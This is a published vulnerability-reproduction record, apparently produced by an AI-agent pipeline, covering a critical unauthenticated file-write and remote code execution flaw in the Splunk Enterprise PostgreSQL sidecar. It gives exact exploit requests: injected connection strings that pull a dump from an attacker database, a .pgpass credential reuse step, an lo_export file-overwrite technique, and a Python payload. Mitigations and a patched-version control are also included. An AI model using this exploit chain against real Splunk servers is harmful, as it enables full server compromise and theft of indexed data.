{"repro_id":"REPRO-2026-00266","version":6,"title":"Unauthenticated arbitrary file operations in Splunk Enterprise PostgreSQL sidecar service (SVD-2026-0603)","repro_type":"security","status":"published","severity":"critical","description":"CVE-2026-20253 (CVSS 9.8 Critical) - Unauthenticated arbitrary file creation/truncation and RCE in Splunk Enterprise PostgreSQL sidecar service. The sidecar exposes /v1/postgres/recovery/backup and /v1/postgres/recovery/restore endpoints through Splunk's web app (port 8000) with NO authentication (CWE-306). The backup endpoint calls pg_dump with attacker-controlled -U (username from Authorization header), -f (backupFile from JSON body), and database (positional dbname from JSON body, interpreted as libpq connection string). The restore endpoint calls pg_restore similarly. An attacker chains: (1) redirect pg_dump to attacker-controlled PostgreSQL via connection string injection in database param, (2) restore malicious dump into local Postgres using .pgpass file at /opt/splunk/var/packages/data/postgres/.pgpass (postgres_admin credentials), (3) SQL in dump uses lo_from_bytea+lo_export to write arbitrary files, (4) overwrite a Python script Splunk executes on schedule for RCE. CISA KEV added 2026-06-18, action due 2026-06-21.","root_cause":"# RCA Report — CVE-2026-20253 (SVD-2026-0603)\n\n## Summary\n\nCVE-2026-20253 is a critical (CVSS 9.8) missing-authentication vulnerability in the\nPostgreSQL sidecar service of Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The\nsidecar exposes HTTP recovery endpoints (`/v1/postgres/recovery/backup` and\n`/v1/postgres/recovery/restore`) that are proxied by the main Splunk Web application\n(listening on all interfaces, port 8000) without any authentication check. Because the\nsidecar builds `pg_dump`/`pg_restore` command lines directly from request-controlled\nfields — the `Authorization` header becomes the Postgres `-U` user, `backupFile` becomes\nthe `-f`/positional file argument, and `database` is a libpq connection string — an\nunauthenticated, network-reachable attacker can (a) create or truncate arbitrary files at\nattacker-chosen paths on the Splunk server, (b) write attacker-controlled bytes to those\npaths by redirecting `pg_dump` at an attacker-controlled database and then abusing\n`pg_restore` + `lo_export()` against the local Splunk Postgres (reusing the on-disk\n`.pgpass` superuser credential), and (c) achieve remote code execution by overwriting a\ndefault-enabled Splunk modular-input script that the Splunk scheduler then executes as the\n`splunk` user.\n\n## Impact\n\n- **Package / component affected:** Splunk Enterprise, `splunkd` component — the\n  PostgreSQL sidecar service (`splunk-postgres` Go binary) and the Splunk Web reverse\n  proxy that forwards `/en-US/splunkd/__raw/v1/postgres/recovery/{backup,restore}` to it.\n- **Affected versions:** Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The PostgreSQL\n  sidecar is enabled by default on Splunk Enterprise deployments (`[postgres] disabled =\n  false` in `server.conf`), making AWS and many on-prem installs vulnerable out of the box.\n- **Fixed versions:** 10.0.7, 10.2.4, 10.4.0+. Splunk Enterprise 9.4 and earlier are not\n  affected (the sidecar is not present).\n- **Risk level / consequences:** Critical. Unauthenticated, network-reachable arbitrary\n  file creation/truncation leading to full remote code execution as the `splunk` user,\n  which typically yields full compromise of the Splunk server and the data it indexes.\n  CISA added the CVE to the KEV catalog on 2026-06-18 due to limited in-the-wild\n  exploitation.\n\n## Impact Parity\n\n- **Disclosed / claimed maximum impact:** Unauthenticated arbitrary file creation and\n  truncation (the CVE title) with a demonstrated chain to remote code execution\n  (expected_impact = `code_execution`).\n- **Reproduced impact from this run:** Full chain reproduced against the **real Splunk\n  Enterprise 10.0.6 product** (official `splunk/splunk:10.0.6` Docker image):\n  1. Unauthenticated remote request created an attacker-chosen file on the Splunk\n     filesystem (arbitrary file creation/truncation — the named CVE impact).\n  2. Unauthenticated remote request wrote attacker-controlled Python content over the\n     Splunk Secure Gateway modular-input script via `lo_export()` (arbitrary-content file\n     write / RCE primitive).\n  3. Splunk's modular-input scheduler executed the overwritten script as the `splunk`\n     user; the attacker code ran and recorded `uid=41812(splunk)` — **unauthenticated\n     remote code execution confirmed**.\n- **Parity:** `full`. The claimed code-execution impact was demonstrated end-to-end on the\n  real product via the real remote HTTP surface, with a fixed-build (10.0.7) negative\n  control showing the endpoint is blocked (HTTP 401, no file write, no execution).\n- **Not demonstrated:** None material. The RCE was demonstrated as the `splunk` user\n  (post-exploitation root escalation was out of scope and not attempted).\n\n## Root Cause\n\nThe PostgreSQL sidecar (`splunk-postgres`, a Go binary) implements an\n`InMemoryRecoveryManager` whose `backupCommand` / `restoreCommand` build process arguments\ndirectly from the HTTP request without enforcing authentication on the endpoint:\n\n```\npg_dump  -h localhost -p <port> --clean -v -w -U <user> -f <backupFile> -Fc <database>\npg_restore -h localhost -p <port> --clean -v -w -U <user> -d <database>      -Fc <backupFile>\n```\n\n- `<user>` is taken verbatim from the HTTP `Authorization` header (Basic-auth username).\n  The endpoint accepts empty/garbage credentials (`Authorization: Basic Og==` decodes to\n  `:`) — there is no authentication gate. (Confirmed: the watchTowr DAG sends\n  `Authorization: Basic ZGFnOg==` and the vulnerable host returns `400 \"Failed to decode\n  request\"` because the *body* is empty, i.e. the request reached the sidecar.)\n- `<backupFile>` is attacker-controlled and becomes the `pg_dump -f` / `pg_restore`\n  positional file argument, so the attacker chooses the on-disk path that is created or\n  truncated.\n- `<database>` is passed as a libpq connection string. Because `-h localhost`/`-p <port>`\n  are also injected, the attacker uses `hostaddr=<ip>` (libpq `hostaddr` overrides `-h` and\n  takes a numeric IP, no DNS) to redirect `pg_dump` at an attacker-controlled Postgres, and\n  injects `passfile=<path>` + `dbname=template1` to make `pg_restore` connect to the local\n  Splunk Postgres as the `postgres_admin` superuser using the on-disk `.pgpass` credential\n  (`/opt/splunk/var/packages/data/postgres/db/.pgpass`, containing\n  `localhost:5432:*:postgres_admin:<password>`).\n\nThe RCE primitive: the attacker's database ships a PL/pgSQL function that calls\n`lo_from_bytea()` then `lo_export()` (two separate statements inside one transaction — a\nsingle combined expression fails because the new large object is not yet visible to\n`lo_export` in the same statement) to write attacker bytes to a chosen path, wrapped in a\n`CHECK` constraint so it executes when `pg_restore` loads the table data. An\n`EXCEPTION WHEN OTHERS THEN NULL` handler lets the dump be created on the attacker host\n(where the target path does not exist) while succeeding on restore in Splunk. The target\npath is `/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py`, whose\n`[ssg_enable_modular_input://default]` input is enabled by default (`disabled = 0`,\n`interval = 60`), so Splunk's modular-input scheduler executes the overwritten script as\nthe `splunk` user within ~60 seconds.\n\nThe fix in 10.0.7 enforces authentication at the Splunk Web proxy layer: the same\nunauthenticated requests now return `401 \"Authorization header must use Splunk token\"`,\nand no file is written. (Mitigation without upgrading: add `[postgres] disabled = true` to\n`$SPLUNK_HOME/etc/system/local/server.conf` and restart.)\n\nNo public git fix commit is referenced because Splunk Enterprise is closed-source; the\nfix is observed behaviorally in the `splunk/splunk:10.0.7` image.\n\n## Reproduction Steps\n\n1. **Script:** `bundle/repro/reproduction_steps.sh` (self-contained, idempotent).\n2. **What it does:**\n   - Pulls the official `splunk/splunk:10.0.6` (vulnerable) and `splunk/splunk:10.0.7`\n     (fixed) images plus `postgres:16-alpine` (attacker DB).\n   - Creates a Docker network `splunknet` and starts the attacker-controlled Postgres with\n     a malicious database (PL/pgSQL `pwn()` + `CHECK` constraint + trigger row).\n   - Starts vulnerable Splunk 10.0.6, waits for healthy, confirms the unauthenticated\n     endpoint is reachable (DAG signature `400 \"Failed to decode request\"`) and that the\n     PostgreSQL sidecar + `postgres_admin` superuser + `.pgpass` are present.\n   - **Stage 1:** unauthenticated `POST .../recovery/backup` from the remote attacker\n     container creates a file at an attacker-chosen path on the Splunk filesystem.\n   - **Stage 2:** unauthenticated backup dumps the malicious DB to `/tmp/poc`; an\n     unauthenticated restore loads it into local `template1` via `.pgpass`, firing\n     `lo_export()` which overwrites the modular-input script with attacker Python.\n   - **Stage 3:** waits for Splunk's scheduler to execute the overwritten script and\n     checks the RCE marker (`/tmp/pwned/MARKER`) containing `id` output.\n   - **Negative control:** starts fixed Splunk 10.0.7, repeats the requests, and verifies\n     they are blocked (`401 \"Authorization header must use Splunk token\"`) with no file\n     written and the script unchanged.\n   - Writes `bundle/repro/runtime_manifest.json` and captures all HTTP request/response\n     artifacts under `bundle/artifacts/http/`.\n3. **Expected evidence of reproduction:**\n   - `artifacts/http/stage1_backup_resp.json` → `state: BackupComplete`; the created dump\n     file at the attacker-chosen path (`artifacts/http/stage1_created_file.dump`, PGDMP).\n   - `artifacts/http/ssg_enable_modular_input.PAYLOAD.py` → the attacker's 3-line Python\n     payload (vs. the 83-line `...ORIGINAL.py` Splunk script).\n   - `artifacts/http/RCE_MARKER.txt` → `CVE-2026-20253 RCE confirmed` + `uid=...(splunk)`.\n   - `artifacts/http/fixed_control_responses.txt` → `fixed_dag_http=401`.\n   - `logs/reproduction_steps.log` → full run transcript.\n\n## Evidence\n\n- **Run log:** `bundle/logs/reproduction_steps.log`\n- **HTTP artifacts:** `bundle/artifacts/http/` (request/response bodies for each stage,\n  the original vs. payload modular-input scripts, the RCE marker, and fixed-control\n  responses).\n- **Key excerpts (from the verified interactive run mirrored by the script):**\n\n  Unauthenticated endpoint reachable from a remote attacker (DAG):\n  ```\n  POST http://splunk-vuln:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup\n  Authorization: Basic Og==\n  -> HTTP 400  \"Failed to decode request\"\n  ```\n\n  Stage 1 — arbitrary file creation (unauthenticated, attacker-chosen path):\n  ```\n  POST .../recovery/backup  Authorization: Basic dGVzdDo=\n  {\"database\":\"hostaddr=<attacker-ip> dbname=testdb\",\"backupFile\":\"/tmp/cve2026_stage1_file\"}\n  -> HTTP 200, state=BackupComplete; /tmp/cve2026_stage1_file created (2550 bytes, \"PGDMP\")\n  ```\n\n  Stage 2 — arbitrary-content file write via lo_export (unauthenticated restore):\n  ```\n  POST .../recovery/restore  Authorization: Basic cG9zdGdyZXNfYWRtaW46\n  {\"database\":\"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/db/.pgpass\",\"backupFile\":\"/tmp/poc\"}\n  -> /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py\n     overwritten from 83 lines (real Splunk script) to 3 lines of attacker Python:\n     import os,sys\n     os.makedirs(\"/tmp/pwned\",exist_ok=True)\n     open(\"/tmp/pwned/MARKER\",\"w\").write(\"CVE-2026-20253 RCE confirmed\\n\"+os.popen(\"id\").read())\n  ```\n\n  Stage 3 — RCE as the splunk user (marker appeared ~30s after overwrite):\n  ```\n  /tmp/pwned/MARKER:\n  CVE-2026-20253 RCE confirmed\n  uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible)\n  ```\n\n  Negative control — fixed 10.0.7 blocks the endpoint:\n  ```\n  POST http://splunk-fixed:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup\n  Authorization: Basic Og==\n  -> HTTP 401  \"Authorization header must use Splunk token\"\n  (no file written; ssg_enable_modular_input.py unchanged, 83 lines)\n  ```\n\n- **Environment details:**\n  - Vulnerable: `splunk/splunk:10.0.6` (Splunk Enterprise 10.0.6, PostgreSQL sidecar PG\n    17.7 on 127.0.0.1:5432, enabled by default).\n  - Fixed control: `splunk/splunk:10.0.7`.\n  - Attacker DB: `postgres:16-alpine` with trust auth + malicious `testdb`.\n  - Topology: Docker network `splunknet`; the remote attacker container sends HTTP to\n    `splunk-vuln:8000` over the network (real network boundary into Splunk Web).\n\n## Recommendations / Next Steps\n\n- **Upgrade** Splunk Enterprise to 10.0.7, 10.2.4, or 10.4.0+ immediately.\n- **Mitigation** if upgrade is delayed: disable the PostgreSQL sidecar by adding\n  `[postgres]` / `disabled = true` to `$SPLUNK_HOME/etc/system/local/server.conf` and\n  restarting Splunk.\n- **Network hardening:** restrict access to Splunk Web (port 8000) and ensure the sidecar\n  is not exposed; monitor for unexpected outbound Postgres connections (the backup stage\n  makes Splunk initiate an outbound TCP connection to the attacker's database) and for\n  unexpected modifications to files under `$SPLUNK_HOME/etc/apps/*/bin/`.\n- **Fix approach (vendor):** enforce strong, Splunk-managed authentication and\n  authorization on every `/v1/postgres/recovery/*` endpoint at the Splunk Web proxy layer\n  (as done in 10.0.7), validate/taint-check the `backupFile` and `database` fields (reject\n  connection-string injection and absolute paths outside approved backup directories), and\n  do not source the Postgres `-U` user from the client `Authorization` header.\n- **Testing:** add regression tests that the recovery endpoints reject unauthenticated and\n  Basic-auth requests, and that `backupFile`/`database` cannot escape the intended backup\n  directory or inject connection-string parameters.\n\n## Additional Notes\n\n- **Idempotency:** `reproduction_steps.sh` removes prior `attacker-pg`/`splunk-vuln`/\n  `splunk-fixed` containers and the `splunknet` network at startup, so it can be re-run\n  cleanly. The script was verified to pass end-to-end (exit 0).\n- **`hostaddr` vs `host`:** libpq `hostaddr` does **not** perform DNS resolution and\n  requires a numeric IP; the script therefore uses the attacker container's IP on\n  `splunknet`. (Using a hostname in `hostaddr` produces\n  `pg_dump: error: could not parse network address \"name\": Name or service not known` and a\n  0-byte file — which itself still demonstrates arbitrary file *creation/truncation*.)\n- **Restore \"failure\" is cosmetic:** `pg_restore` exits 1 because of non-fatal `--clean`\n  DROP errors (objects did not yet exist) and `ALTER ... OWNER TO test` errors (the `test`\n  role does not exist locally), but the `lo_export()` side effect fires during data load\n  *before* `pg_restore` exits, so the file is overwritten regardless. The script verifies\n  the file-content outcome rather than trusting the restore status.\n- **Single-expression lo_export caveat:** `lo_export(lo_from_bytea(0, ...), path)` as one\n  expression fails (`large object N does not exist`) because the new LO is not visible to\n  `lo_export` within the same statement; the PoC uses a PL/pgSQL function with the two\n  calls as separate statements in one transaction, embedded in a `CHECK` constraint.\n- **Surface fidelity:** every exploit request is issued from a separate container over a\n  Docker network into Splunk Web (port 8000), matching the claimed `api_remote` /\n  network-reachable attacker model; this is a production-path proof against the real\n  Splunk Enterprise product, not a mock or harness.\n","cve_id":"CVE-2026-20253","cwe_id":"CWE-306 Missing Authentication for Critical Function","source_url":"https://github.com/splunk/splunk","package":{"name":"splunk/splunk","ecosystem":"github","affected_versions":"10.0.0-10.0.6, 10.2.0-10.2.3","tested_patched":"Splunk Enterprise 10.2.4 (or 10.0.7)"},"reproduced_at":"2026-07-07T21:08:09.328285+00:00","duration_secs":3798.0,"tool_calls":307,"handoffs":3,"total_cost_usd":6.830147450000001,"agent_costs":{"coding":1.3186358100000002,"judge":0.0331967,"repro":2.7643856999999987,"support":0.13099536,"vuln_variant":2.5829338799999992},"cost_breakdown":{"coding":{"accounts/fireworks/routers/glm-5p2-fast":1.3186358100000002},"judge":{"gpt-5.4-mini":0.0331967},"repro":{"accounts/fireworks/routers/glm-5p2-fast":2.7643856999999987},"support":{"accounts/fireworks/routers/glm-5p2-fast":0.13099536},"vuln_variant":{"accounts/fireworks/routers/glm-5p2-fast":2.5829338799999992}},"quality":{"confidence":"high","idempotent_verified":false,"community_verifications":0},"environment":{"sandbox_image":"ghcr.io/n3mes1s/pruva-sandbox@sha256:8096b2518d6022e13d68f885c3b8ded6b4fe607098b1a1ccbfb99abc004d1dc1"},"published_at":"2026-07-07T21:08:36.583315+00:00","retracted":false,"artifacts":[{"path":"bundle/repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":20385,"category":"reproduction_script"},{"path":"bundle/repro/rca_report.md","filename":"rca_report.md","size":14481,"category":"analysis"},{"path":"bundle/vuln_variant/reproduction_steps.sh","filename":"reproduction_steps.sh","size":20321,"category":"reproduction_script"},{"path":"bundle/vuln_variant/rca_report.md","filename":"rca_report.md","size":16814,"category":"analysis"},{"path":"bundle/coding/proposed_fix.diff","filename":"proposed_fix.diff","size":23053,"category":"patch"},{"path":"bundle/artifact_promotion_manifest.json","filename":"artifact_promotion_manifest.json","size":16166,"category":"other"},{"path":"bundle/artifact_promotion_report.json","filename":"artifact_promotion_report.json","size":16184,"category":"other"},{"path":"bundle/vuln_variant/source_identity.json","filename":"source_identity.json","size":1325,"category":"other"},{"path":"bundle/vuln_variant/root_cause_equivalence.json","filename":"root_cause_equivalence.json","size":2902,"category":"other"},{"path":"bundle/repro/runtime_manifest.json","filename":"runtime_manifest.json","size":1288,"category":"other"},{"path":"bundle/repro/validation_verdict.json","filename":"validation_verdict.json","size":1621,"category":"other"},{"path":"bundle/logs/reproduction_steps.log","filename":"reproduction_steps.log","size":10913,"category":"log"},{"path":"bundle/vuln_variant/variant_bypass_proof.txt","filename":"variant_bypass_proof.txt","size":138,"category":"other"},{"path":"bundle/vuln_variant/variant_rce_marker.txt","filename":"variant_rce_marker.txt","size":113,"category":"other"},{"path":"bundle/logs/vuln_variant/variant_reproduction.log","filename":"variant_reproduction.log","size":7800,"category":"log"},{"path":"bundle/vuln_variant/patch_analysis.md","filename":"patch_analysis.md","size":9387,"category":"documentation"},{"path":"bundle/logs/vuln_variant/variant_restore_log.json","filename":"variant_restore_log.json","size":4966,"category":"other"},{"path":"bundle/vuln_variant/variant_manifest.json","filename":"variant_manifest.json","size":4820,"category":"other"},{"path":"bundle/vuln_variant/validation_verdict.json","filename":"validation_verdict.json","size":3665,"category":"other"},{"path":"bundle/vuln_variant/runtime_manifest.json","filename":"runtime_manifest.json","size":1614,"category":"other"},{"path":"bundle/coding/verify_fix.sh","filename":"verify_fix.sh","size":14639,"category":"other"},{"path":"bundle/coding/summary_report.md","filename":"summary_report.md","size":10919,"category":"documentation"}]}